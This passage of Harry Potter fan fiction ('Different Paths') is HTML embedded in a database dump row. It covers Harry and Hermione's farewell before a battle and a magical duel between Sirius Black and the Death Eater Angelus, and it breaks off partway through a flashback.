With that, Horace drank some of the blood from his palms.</p>\n\n<p>&nbsp;</p>\n\n<p>Voldemort was surprised.&nbsp; Here he was setting up Horace as his scapegoat for disagreeing with his plans.&nbsp; He had even heard Grindelwald suggesting that Horace divulge the truth and lead a revolt against him, though no one else had heard this.&nbsp; And yet, Horace still declared his complete loyalty to the Dark Lord.&nbsp; &#8220;Grindelwald, back off from him,&#8221; he commanded.&nbsp; Grindelwald sneered at Voldemort and backed away from Horace.</p>\n\n<p>&nbsp;</p>\n\n<p>Voldemort stood up and addressed the Elite Ten.&nbsp; &#8220;Here is the plan: Grindelwald, Angelus, and Seth will remain here to face Potter with me!&nbsp; The remaining, Flame, Icicle, Wormtail, Cassandra, and Fenis will lead my forces to eliminate the Order of the Phoenix at the Leaky Cauldron and bring back their heads!&nbsp; Now go!&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>As the Elite Ten filed out of the chamber, Horace glanced at the Dark Lord, clearly surprised.&nbsp; Voldemort simply grinned at Horace.</p>\n\n<p>&nbsp;</p>\n\n<p>*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *</p>\n\n<p>&nbsp;</p>\n\n<p>Harry Potter slowly opened his eyes as the light of the dawn sun hit his face.&nbsp; One of the first things he noticed was blanket of long brown hair spread across his chest.&nbsp; Harry&#8217;s arms were wrapped tightly around Hermione&#8217;s petite body, her head resting on his chest.&nbsp; The sunlight shone on her hair, giving it a golden glow like a halo surrounding her face.&nbsp; If she had looked like a wood nymph or an elf maiden the previous night then she looked like an angel in the morning sun.&nbsp; <i>&#8216;My angel,&#8217;</i> thought Harry as he ran his fingers down the side of her face.</p>\n\n<p>&nbsp;</p>\n\n<p>Hermione&#8217;s face was tear streaked but she looked very peaceful, far more peaceful than she had ever been.&nbsp; Harry sighed. She had once confessed to him that she had wanted to save herself for marriage and here they had just thrown all of that out of the window.&nbsp; Harry still didn&#8217;t know what had possessed him to kiss her like that but he decided that it was perhaps because he wanted to be with the one he loved before running off to his potential death.</p>\n\n<p>&nbsp;</p>\n\n<p>Harry sighed again.&nbsp; He gently, so as not to wake Hermione up climbed out of bed; it was a rather difficult process since Hermione was holding onto Harry rather tightly in her sleep.&nbsp; He quickly dressed in his scarlet and black Order of the Phoenix uniform.&nbsp; Kneeling in front of his bed, Harry ran his fingers along Hermione&#8217;s angelic face.&nbsp; &#8220;I love you,&#8221; he whispered.&nbsp; Gently, he leaned forward and kissed her on her lips.&nbsp; Then, quietly, he left the room.</p>\n\n<p>&nbsp;</p>\n\n<p>Hermione only woke up a few minutes later.&nbsp; &#8220;Harry?&#8221; she asked.&nbsp; Realizing that she was alone Hermione sprang out of bed.&nbsp; She grabbed her robe, pulled on tightly around herself, and ran out of the room not caring that she was wearing nothing underneath the robe.</p>\n\n<p>&nbsp;</p>\n\n<p>Meanwhile, right outside of the Leaky Cauldron on Charing Cross Road, several wizards and Witches were gathered together in the early morning sun.&nbsp; Among them were Harry Potter, Severus Snape, Sirius Black, Remus Lupin, and Ginny Weasley.&nbsp; At present Ron was arguing with Harry, or rather Ron was shouting at Harry.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Don&#8217;t give me any of that &#8216;You&#8217;re staying here&#8217; crap Harry!&#8221; yelled Ron.&nbsp; &#8220;I am coming with you Harry, got that?&nbsp; Don&#8217;t think I&#8217;ve just been sitting around doing nothing this past year, I&#8217;ve been through a lot of rigorous training recently as well.&nbsp; You don&#8217;t have to be looking out for my back all the time, I can take care of myself just as well as you!&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Harry decided to make his point clear.&nbsp; &#8220;Which is precisely the reason why I want you to remain here.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>That threw Ron for a loop.&nbsp; &#8220;What?&#8221; he asked quite confused.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;I don&#8217;t think it&#8217;s above Voldemort to send his forces here to attack the Order while we&#8217;re away.&nbsp; That&#8217;s why I want you to remain here, to protect the Order.&nbsp; I&#8217;m trusting you Ron, and your abilities.&#8221;&nbsp; Harry said all this with genuine sincerity.</p>\n\n<p>&nbsp;</p>\n\n<p>Ron blinked.&nbsp; &#8220;Oh,&#8221; he said.&nbsp; Comprehession slowly dawned on him and he grinned.&nbsp; &#8220;You can count on me mate,&#8221; he said.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;I always do,&#8221; said Harry, grinning as well.&nbsp; They gave each other a high-five.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;If you don&#8217;t mind, I would like to leave now,&#8221; sneered Snape.&nbsp; Sirius and Remus rolled their eyes at him.&nbsp; Harry shrugged and said his goodbyes to everyone else.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Lets go,&#8221; he said.</p>\n\n<p>&nbsp;</p>\n\n<p>However, he had only taken a few steps forward when a commanding voice called out, &#8220;Hold it right there, Harry Potter!&#8221;&nbsp; Harry immediately stopped and turned around.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Not another delay,&#8221; muttered Snape.&nbsp; Sirius elbowed him.</p>\n\n<p>&nbsp;</p>\n\n<p>The Order stepped back bewildered as Hermione sauntered out toward Harry, dressed in only her bathrobe.&nbsp; &#8220;Don&#8217;t even think about leaving without saying anything to me Harry!&#8221; she said, standing right in front of Harry.&nbsp; &#8220;Not after what happened last night!&nbsp; Don&#8217;t you dare think about brushing me off ever again!&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Hermione...&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Listen to me Harry!&nbsp; What happened last night happened: we can&#8217;t help that.&nbsp; And I have no regrets about what happened last night.&nbsp; What I will regret is if that was to become our only night ever.&nbsp; I don&#8217;t want that because I love you Harry Potter.&nbsp; And in my heart I know you will come back to me but I want to hear you say it.&nbsp; I want you to promise me that you will come back.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Harry took Hermione&#8217;s hand.&nbsp; &#8220;I promise Hermione, that I will come back.&nbsp; Because I love you too, and no forces on this Earth will ever stop me from keeping a promise to you.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>That said, Harry pulled Hermione into a strong kiss, right there in front of the entire Order.&nbsp; And not just a simple peck on the lips but a full-blown snog, with Harry&#8217;s arms wrapped tightly around Hermione&#8217;s petite waist and Hermione&#8217;s hands buried in Harry&#8217;s messy hair.&nbsp; Finally they pulled apart.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Come back to me,&#8221; whispered Hermione.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;I will I promise,&#8221; said Harry.</p>\n\n<p>&nbsp;</p>\n\n<p><b>To be continued...</b></p>\n\n<p>&nbsp;</p>\n\n<p>A/N I don&#8217;t believe in pre-marital sex.&nbsp; My views on sex are rather conservative: especially in view that I&#8217;m a young testosterone fueled young man.&nbsp; I admit that my opinion on sex could very well change when I fall in love but that still doesn&#8217;t change my belief to save yourself for the one for you.&nbsp; Of course, in fiction, I have no problem reading about Harry and Hermione having sex in fanfics for my simple firm belief in the H/H ship.&nbsp; However, I&#8217;ve never actually written about them making love before marriage before this fic and in this case it was to incorporate a blasted plot bunny that simply wouldn&#8217;t let go.&nbsp; So, I hope that explanation was good enough for all of you.&nbsp; Next: Angelus.</p> '),
	(33, 16, ' <p><b>Title:</b> Different Paths (15)<br>\n\n\n<b>Author name:</b> E. C. R. Potter<br>\n\n\n<b>Author email:</b> ecrpotter@hotmail.com<br>\n\n\n<b>Category:</b> Action/Adventure<br>\n\n\n<b>Sub Category:</b> Drama<br>\n\n\n<b>Keywords:</b> Harry Voldemort Different Paths H/H D/G<br>\n\n\n<b>Rating:</b> PG-13<br>\n\n\n<b>Spoilers:</b> SS/PS, CoS, PoA, GoF, FB, QTTA, Rurouni Kenshin: Kyoto story arc.<br>\n\n\n<b>Summary:</b> Tom Marvolo Riddle, Harry James Potter. Two wizards, with incredibly similar beginnings, who journeyed on different paths. Such different paths that inevitably, they could only lead to a collision course. And collide, they do.&nbsp; H/H and D/G.<br>\n\n\n<b>DISCLAIMER:</b> This story is based on characters and situations created and owned by JK Rowling, various publishers including but not limited to Bloomsbury Books, Scholastic Books and Raincoast Books, and Warner Bros., Inc. No money is being made and no copyright or trademark infringement is intended. It is also based on a plot line based on a story owned by Nobuhiro Wazuki, Jump Comics Inc., Fuji Television, Studio Gallop, and other publishers. No money is being made and no copyright or trademark infringement is intended from them either.<br>\n\n\n<b>Author notes:&nbsp; </b>I&#8217;ve been accused of plagiarizing &#8220;Rurouni Kenshin&#8221; again.&nbsp; Quite frankly, this infuriates me because it says right there in the disclaimer and the Spoilers that this fic is <b>based</b> on &#8220;Rurouni Kenshin&#8221;.&nbsp; I&#8217;m not plagiarizing RK because I&#8217;m giving full acknowledgement to it in my disclaimers.&nbsp; So for crying out loud read those disclaimers and A/Ns!</p>\n\n<p><b>&nbsp;</b></p>\n\n<p><b>Chapter 16: Angelus the Destroyer</b></p>\n\n<p>&nbsp;</p>\n\n<p>Only hours later, Harry, Sirius, and Snape arrived at the Tower of London.&nbsp; It was still rather early in the morning and there were virtually no muggle tourists there.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;I still can&#8217;t believe that Voldemort hid his lair out here under our very noses right smack in the middle muggle London,&#8221; said Harry.</p>\n\n<p>&nbsp;</p>\n\n<p>Snape shrugged.&nbsp; &#8220;If you had bothered to pay attention in History of Magic you would&#8217;ve learned that before it fell into the hands of the Dark Side, the sanctuary under the Tower of London was built as a spot to spy on the muggle royal family and a potential assassination base in case the monarch had started witch hunts.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Sirius took Harry aside and whispered, &#8220;Don&#8217;t worry, nobody&#8217;s ever paid attention in Binns&#8217;s class, even when he was still alive.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Harry would&#8217;ve laughed out loud if Snape hadn&#8217;t rudely snapped, &#8220;We&#8217;re here.&#8221;&nbsp; They were at perhaps one of the most secluded areas a bit of a distance from the actual tower. &nbsp;It was a small opening into a brick tunnel that went into a wooded mound.&nbsp; However, the most obvious clue that the tunnel was the entrance to the Dark Lord&#8217;s Lair was the scarlet clad woman standing in front of it.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Welcome,&#8221; she said.&nbsp; &#8220;I am Yasmin Corellan.&nbsp; I am to be your guide.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Sirius scoffed.&nbsp; &#8220;A guide?&nbsp; Why the bloody hell do we need a guide for?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Yasmin glared at Sirius.&nbsp; &#8220;Oh, so you don&#8217;t want a guide?&nbsp; OK, fine.&nbsp; Just don&#8217;t try crawling back to me for help when you starve to death after getting lost in the labyrinth of caverns that extend throughout the lair.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Sirius shrugged a little hesitantly.&nbsp; &#8220;Er&#8230;well&#8230;OK.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Now, before we waste anymore time, shall we proceed?&#8221;&nbsp; Saying that, Yasmin turned around and entered the tunnel.&nbsp; Snape, Harry, and a grumbling Sirius entered after her.</p>\n\n<p>&nbsp;</p>\n\n<p>Yasmin hadn&#8217;t been lying when she described the lair as a labyrinth of caverns.&nbsp; There were turns around full pillars of stalactites, stalagmites, and pillars and sometimes they would cross a hanging vine bridge that crossed right over bottomless abysses.&nbsp; The only light came from the Lumos spell of their wands and it often seemed like the darkness was about to close in on them.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;You know I once asked Hagrid this and I never got a straight answer,&#8221; said Harry.&nbsp; &#8220;I never bothered to look up when I started at Hogwarts but what&#8217;s the difference between stalactites and stalagmites again?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Stalagmites grow out of the ground while stalactites hang from the ceiling,&#8221; said Sirius.&nbsp; &#8220;If you want an easy way to remember the difference, just remember that &#8216;stalagmite&#8217; contains a &#8216;g&#8217; for &#8216;ground&#8217; and &#8216;stalactite&#8217; contains a &#8216;c&#8217; for &#8216;ceiling&#8217;.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Harry nodded and that was the last time anybody smoke until they finally came across a large wooden door constructed in a gothic style with huge lion head knockers.&nbsp; Yasmin took one of the knockers and knocked three times and the doors slowly opened with an eerie creek.</p>\n\n<p>&nbsp;</p>\n\n<p>The group entered what was clearly a large cathedral created in the gothic style.&nbsp; The ceiling was raised high above the ground and arched in the same gothic style that emanated throughout the entire cathedral.&nbsp; The walls were covered with stain glass windows that let light stream into the room though Harry wondered how light came into the room in an underground chamber.&nbsp; Interestingly enough, Harry noted that none of the windows depicted any saints or biblical stories.&nbsp; The crucifix had also been removed from the front of the cathedral and the benches had been completely cleared from the stone floor.&nbsp; And there, standing in front of the sanctuary facing the group stood none other than one of the Death Eater Elite Ten, Angelus &#8220;the Destroyer&#8221; O&#8217;Connell.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Obstacle number one huh?&#8221; said Snape.&nbsp; &#8220;Well I suppose we can take him out...&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Before Snape could say more, Sirius held his arm out blocking Snape&#8217;s path.&nbsp; Then in a voice laced in pure venom, he said, &#8220;He&#8217;s mine!&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Not even Snape dared to try to stop Sirius after hearing the tone in Sirius&#8217;s voice.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Do you know him?&#8221; asked Harry.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Yeah,&#8221; said Sirius, not taking his eyes off of Angelus.&nbsp; &#8220;He&#8217;s the one who taught me the Double-Neutral Spell.&#8221;&nbsp; Before Harry could say a word in response, Sirius strolled out down the Sanctuary toward his opponent.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Angelus,&#8221; said Sirius rather curtly.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Black,&#8221; replied Angelus.&nbsp; &#8220;So, we meet again.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Not in the way I would&#8217;ve expected,&#8221; growled Sirius.&nbsp; &#8220;You were the last person I would&#8217;ve expected seeing on Voldemort&#8217;s side.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Did it comes as a surprise?&#8221; asked Angelus.&nbsp; &#8220;Personally, I&#8217;m the one who&#8217;s surprised.&nbsp; What are you doing as a stooge for the ministry?&nbsp; The last I knew, there was a mutual hatred between you two.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Ha!&nbsp; Don&#8217;t get me wrong!&nbsp; I may absolutely despise the ministry, but it&#8217;s still a million times better than whatever regime Voldemort could bring!&nbsp; Whatever happened to all that talk about sticking up for the oppressed?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;You misunderstand me,&#8221; said Angelus.&nbsp; &#8220;My allegiance with the Dark Lord is but a means to an end: to bring down the ministry.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;What?&#8221; Yasmin suddenly exclaimed.&nbsp; &#8220;What do you mean by that Angelus?&nbsp; How is this all going to fit into our lord&#8217;s agenda?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;It is quite simple Yasmin,&#8221; said Angelus.&nbsp; &#8220;If the Dark Lord&#8217;s regime is something as bad or worse than the ministry, I will bring it and the Dark Lord down.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Yasmin was completely speechless.&nbsp; Before she could come up with an angry retort, Sirius laughed humorlessly and said, &#8220;Looks like there&#8217;s no reasoning with you monk.&nbsp; There&#8217;s only one way to finish this now, in a wizard&#8217;s duel!&#8221;&nbsp; Sirius extended his right outward, his fingers pointing straight out and touching the wall.&nbsp; With a surge of magical energy from his fingers, Sirius blasted a hole into the wall.&nbsp; &#8220;And I&#8217;m going to beat you with the very spell you taught me and I mastered!&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Angelus crossed his arms.&nbsp; &#8220;You are so na&#239;ve,&#8221; he said.&nbsp; &#8220;All I taught you are the simple basics of the that spell.&nbsp; To truly call yourself a master of the Double-Neutral Spell, you must be at least able to do this.&#8221;&nbsp; Angelus simply fretted his eyebrows and the floor and walls around Angelus simply exploded in a burst that could only be the Double-Neutral Spell.</p>\n\n<p>&nbsp;</p>\n\n<p>Sirius looked a tad hesitant but it passed quickly and the challenging glint had returned to his eyes.&nbsp; &#8220;Ha, mastered, novice, it&#8217;s still the same spell.&nbsp; I&#8217;m not about to back down from this duel.&nbsp; And to even further odds in your favor, I&#8217;m making Snape my backup!&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Oh joy,&#8221; muttered Snape.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Very well,&#8221; said Angelus.&nbsp; &#8220;The Second Fundamental Rule of Wizard Dueling: in a wizard duel there is a challenger and the challenged.&nbsp; The challenged gets to choose the details of the duel and even when to call it off while the challenger must abide to the challenged&#8217;s rules and must see the entire duel through.&#8221;&nbsp; Angelus straightened up.&nbsp; &#8220;In this situation I am the challenged while you are the challenger.&nbsp; Therefore, I&#8217;ll set the rules for this duel, and there&#8217;s only one: the spell that can be used is the Double-Neutral.&nbsp; You do know what happens if you break the Fundamental Rules don&#8217;t you?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Yes,&#8221; said Sirius.&nbsp; &#8220;Due to an ancient magic that no one has been able to counteract, anybody who breaks any of the Fundamental Rules instantly loses all of their magical powers and becomes a squib. It is a magic connected to the rite of Wizard Dueling since ancient times and to the best over our knowledge, it can&#8217;t be countered.&#8221;&nbsp; To illustrate his point, Sirius tossed his wand to Harry for safe keeping, so that he could fight exclusively with the Double-Neutral spell.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;I see we understand each other than,&#8221; said Angelus.&nbsp; &#8220;So without further ado, let us start this duel!&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>With that, Angelus charged straight at Sirius.&nbsp; Sirius just barely managed to leap out of the way as Angelus&#8217;s fist came crashing down, taking away a portion of the floor in a Double-Neutral explosion.&nbsp; Before Sirius could gather his wits, Angelus swung his fist toward Sirius in a Double-Neutral powered punch.&nbsp; Angelus kept swinging powered up punches and occasional kicks, each taking out entire sections of the chapel with each blow.&nbsp; Sirius barely managed to dodge each blow by a hair.</p>\n\n<p>&nbsp;</p>\n\n<p>Harry was looking at the duel in clear anxiety.&nbsp; Snape however was actually yawning.&nbsp; &#8220;Well Black?&nbsp; Would you like to switch?&nbsp; I could dispatch him in seconds if allow me,&#8221; he said.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Shut up grease-ball!&nbsp; I&#8217;m already coming up with a plan!&#8221; yelled Sirius.&nbsp; Snape clearly didn&#8217;t believe him, but Sirius was indeed coming up with a plan.&nbsp; <i>&#8216;OK, Angelus may have a lot of physical strength but he&#8217;s so bulked up on muscle that his movements are rather slow and clumsy.&nbsp; If I can counter his strength with a little speed, I might be able to land a blow.&nbsp; The Double-Neutral is an all or nothing spell so just one hit finishes the whole deal!&#8217;</i></p>\n\n<p>&nbsp;</p>\n\n<p>Finally, his chance came.&nbsp; Angelus punched out one powerful, yet clumsy blow.&nbsp; Dodging it, Sirius leapt under Angelus&#8217;s arm at lightning speed and with a yell, smashed a Double-Neutral punch straight into Angelus&#8217;s side.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;He did it!&#8221; explained Harry.&nbsp; However, that was not so.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;What?&#8221; Sirius was quite startled when he realized that just when he had landed a Double-Neutral on Angelus&#8217;s side, Angelus had Double-Neutralled his other side, thus canceling out Sirius&#8217;s blow.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;The Reverse-Neutral,&#8221; said Angelus.&nbsp; &#8220;It must be precisely timed or else we might fall by our on Double-Neutral Spell.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Having said that, Angelus lashed out again.&nbsp; Sirius barely made it away as Angelus&#8217;s Double-Neutral grazed him.&nbsp; Pain rocked through Sirius and he coughed up blood.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Sirius!&#8221; exclaimed Harry.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Hold on to your horses, I&#8217;m all right,&#8221; said Sirius.&nbsp; &#8220;That was close though: too close.&nbsp; If that blow had landed right on, I wouldn&#8217;t even be alive.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Ready to switch?&#8221; said Snape.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Over my dead body,&#8221; yelled Sirius.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Well it looks like that&#8217;s going to come true any time soon,&#8221; said Snape.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Why do you keep fighting Sirius Black?&#8221; asked Angelus.&nbsp; &#8220;It is clear that you cannot win.&nbsp; If you wish to back away now, I will allow you to.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Yasmin looked furious.&nbsp; &#8220;Angelus you buffoon!&nbsp; Why are you showing mercy?&nbsp; Kill him already!&#8221;&nbsp; She was completely ignored by everyone present.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;No backing down!&#8221; yelled Sirius.&nbsp; &#8220;I never back down, especially if I can save you by fighting?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Angelus was confused.&nbsp; &#8220;What?&nbsp; What are you talking about?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;You&#8217;re obviously a lost man Angelus O&#8217;Connell,&#8221; said Sirius.&nbsp; &#8220;Words don&#8217;t seem to be penetrating that thick skull of yours.&nbsp; So I figured a little beating would give you just the jostle to open your eyes.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Angelus seemed to be thinking for a moment but that quickly passed.&nbsp; &#8220;You are delusional Sirius Black,&#8221; he said.&nbsp; &#8220;I am the Destroyer.&nbsp; That is who I am and that is who I will always be.&nbsp; There is nothing to save.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Doesn&#8217;t matter,&#8221; said Sirius.&nbsp; &#8220;Like I said, only a good beating will wake you up.&nbsp; So COME ON!&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Sirius charged straight at Angelus.&nbsp; However, that turned out to be a mistake, as Angelus reeled back, landed one powerful Double-Neutral punch on Sirius&#8217;s torso.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Sirius!&#8221; yelled Harry.&nbsp; Even Snape looked shocked while Yasmin had a &#8216;about time&#8217; look on her face.&nbsp; With Sirius&#8217;s body still hanging from his massive fist, Angelus silently started to chant a funeral prayer and made a Catholic Cross with his free hand.</p>\n\n<p>&nbsp;</p>\n\n<p>However, everyone present was suddenly surprised when Sirius suddenly spoke: &#8220;Now, now, the fat lady hasn&#8217;t sung yet.&nbsp; So don&#8217;t get out the pall bearers yet!&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Angelus was shocked, &#8220;What?&nbsp; How...&#8221; It was then when Angelus noticed Sirius&#8217;s fist on the other side of Angelus&#8217;s.&nbsp; &#8220;The Reverse-Neutral?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;That&#8217;s right.&nbsp; It was a risky gamble in that I wasn&#8217;t sure I could do it but it worked, MUCH TO YOUR MISFORTUNE!&#8221;&nbsp; Not giving Angelus a chance, Sirius grabbed his arm and blasted the Double-Neutral straight through his fingers into Angelus&#8217;s body.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Argh!&#8221;&nbsp; The force of the Double-Neutral blasted Angelus away into the wall at the very back of the sanctuary.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Angelus!&#8221; exclaimed Yasmin.&nbsp; Harry breathed a breath of relief while Snape&#8217;s face was unreadable.&nbsp; The two men made their way to Sirius.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;You look rather beat up,&#8221; said Harry observing Sirius&#8217;s injuries.&nbsp; He then turned to Angelus&#8217;s prone form and asked, &#8220;How is he?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Unconscious,&#8221; said Sirius.&nbsp; &#8220;If he were conscious, he would be in a lot of pain though.&nbsp; I didn&#8217;t want to kill him but even the weakest form of the Double-Neutral packs a whole lot of damage.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>However, to everyone&#8217;s surprise, Angelus suddenly growled and started to pull himself up to his feet.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;That was close,&#8221; he hissed.&nbsp; &#8220;Too close, I would&#8217;ve been finished if it weren&#8217;t for the children.&#8221;&nbsp; To everyone&#8217;s surprise, Angelus pulled out a battered crucifix from his robe, which had clearly taken the brunt of Sirius&#8217;s Double-Neutral Spell.&nbsp; &#8220;It appears that the children have protected me, so that I may continue fighting for them.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Children?&#8221; asked Harry.&nbsp; &#8220;Angelus, if you don&#8217;t mind, could you explain to me who these children are and what that crucifix symbolizes?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Angelus suddenly looked very human and vulnerable, as if he were remembering something very sad.&nbsp; &#8220;No, I do not mind.&nbsp; But it is a bit of a story:&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p><i>20 years ago, North Ireland, 30 miles west of Belfast in a small secluded monastery in the foothills.&nbsp; It was a time when the Irish Republic Army was spreading terror across the land against the English who controlled the northern portion of Ireland.&nbsp; It was the time when Lord Voldemort had just started his first rise to power in Europe and the magical community was on the verge of war.</i></p>\n\n<p><i>&nbsp;</i></p>\n\n<p><i>However, none of that was any concern to the young friar, Angelus O&#8217;Connell who ran the monastery.&nbsp; He lived there with several children, orphans, whom he was looking after.&nbsp; Those children were also the only ones who knew Angelus&#8217;s secret, a secret frowned upon by the Catholic Church Angelus had dedicated his life to; that Angelus was secretly a wizard, though he had never had his magical abilities formally trained.&nbsp; It was an ideal situation: Angelus looked after the children and the children looked out for Angelus.&nbsp; It was a rather poverty stricken monastery, but those living there didn&#8217;t care.&nbsp; They were happy and that was what mattered.</i></p>\n\n<p><i>&nbsp;</i></p>\n\n<p><i>Unfortunately, it was not to last.</i></p>\n\n<p><i>&nbsp;</i></p>\n\n<p><i>*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *</i></p>\n\n<p><i>&nbsp;</i></p>\n\n<p><i>&#8220;Leave?&#8221;&nbsp; Angelus couldn&#8217;t believe he&#8217;s ears.&nbsp; Here he was leading this ideal life in the foothills when along comes this official from the British Ministry of Magic telling him that he had to leave.&nbsp; &#8220;I don&#8217;t understand.&nbsp; Why must we leave?&#8221;</i></p>\n\n<p><i>&nbsp;</i></p>\n\n<p><i>&#8220;Security issues,&#8221; said the official.&nbsp; &#8220;North Ireland isn&#8217;t safe these days.&nbsp; First of all there&#8217;s that muggle here causing all that mischief, the IRA.&nbsp; If it was just they alone, we could continue our protection but recently a new movement has risen in England: a group called the Death Eaters headed by this Voldemort fellow.&nbsp; Our security is too thin to extend our protection.&#8221;</i></p>\n\n<p><i>&nbsp;</i></p>\n\n<p><i>Angelus couldn&#8217;t bode well this line of thinking.&nbsp; A secluded Catholic Monastery would be the last place the IRA would target, and though he didn&#8217;t know much about these so called Death Eaters, he certainly didn&#8217;t think they would care about some hidden monastery that housed orphans.</i></p>\n\n<p><i>&nbsp;</i></p>\n\n<p><i>Before, Angelus could say anything more, the official stood up and said, &#8220;You have one week to leave, after that you will be staying here at your own risk.&#8221;&nbsp; With that, the official left.</i></p>\n\n<p><i>&nbsp;</i></p>\n\n<p><i>It was only later that Angelus found out the truth that the man who had just visited him worked for specifically one ministry official: Burgess Morton, a fat, middle-aged, short, balding, high-ranking official of the Ministry of Magic, with a bank account that rivaled that of the Malfoy family.&nbsp; The manservant met up with Morton on a path outside of the monastery.&nbsp; &#8220;So?&nbsp; What did he say?&#8221; he asked.</i></p>\n\n<p><i>&nbsp;</i></p>\n\n<p><i>&#8220;He was rather hesitant,&#8221; said the servant.&nbsp; &#8220;I told him that he should move out by the end of the week.&#8221;</i></p>\n\n<p><i>&nbsp;</i></p>\n\n<p><i>&#8220;A week?&#8221; yelled Morton.&nbsp; &#8220;Damn it fool, I want them out now!&#8221;</i></p>\n\n<p><i>&nbsp;</i></p>\n\n<p><i>&#8220;But sir, you can&#8217;t just...&#8221;</i></p>\n\n<p><i>&nbsp;</i></p>\n\n<p><i>&#8220;Can&#8217;t want Pearlman?&#8221; demanded Morton.&nbsp; &#8220;I used to be able to get anything I wanted just by showing them my Gringotts account or mentioning my long prestigious pure-blood family.&nbsp; Why, I was also the next in line to the office of Minister of Magic.&nbsp; But now with this...with this You-Know-Who running around, it looks like Bartemius Crouch is going to win the office!&nbsp; I may have lost the Minister&#8217;s Office but theirs is no bloody way I am going to lose the site of my new Country Club to some old run down monastery!&#8221;</i></p>\n\n<p><i>&nbsp;</i></p>\n\n<p><i>&#8220;But sir, what can we do?&#8221;</i></p>\n\n<p><i>&nbsp;</i></p>\n\n<p><i>&#8220;What can we do?&nbsp; I&#8217;ll tell you what we&#8217;re going to do!&nbsp; Burn down that monastery tonight Pearlman!&#8221;</i></p>\n\n<p><i>&nbsp;</i></p>\n\n<p><i>&#8220;What?&nbsp; But 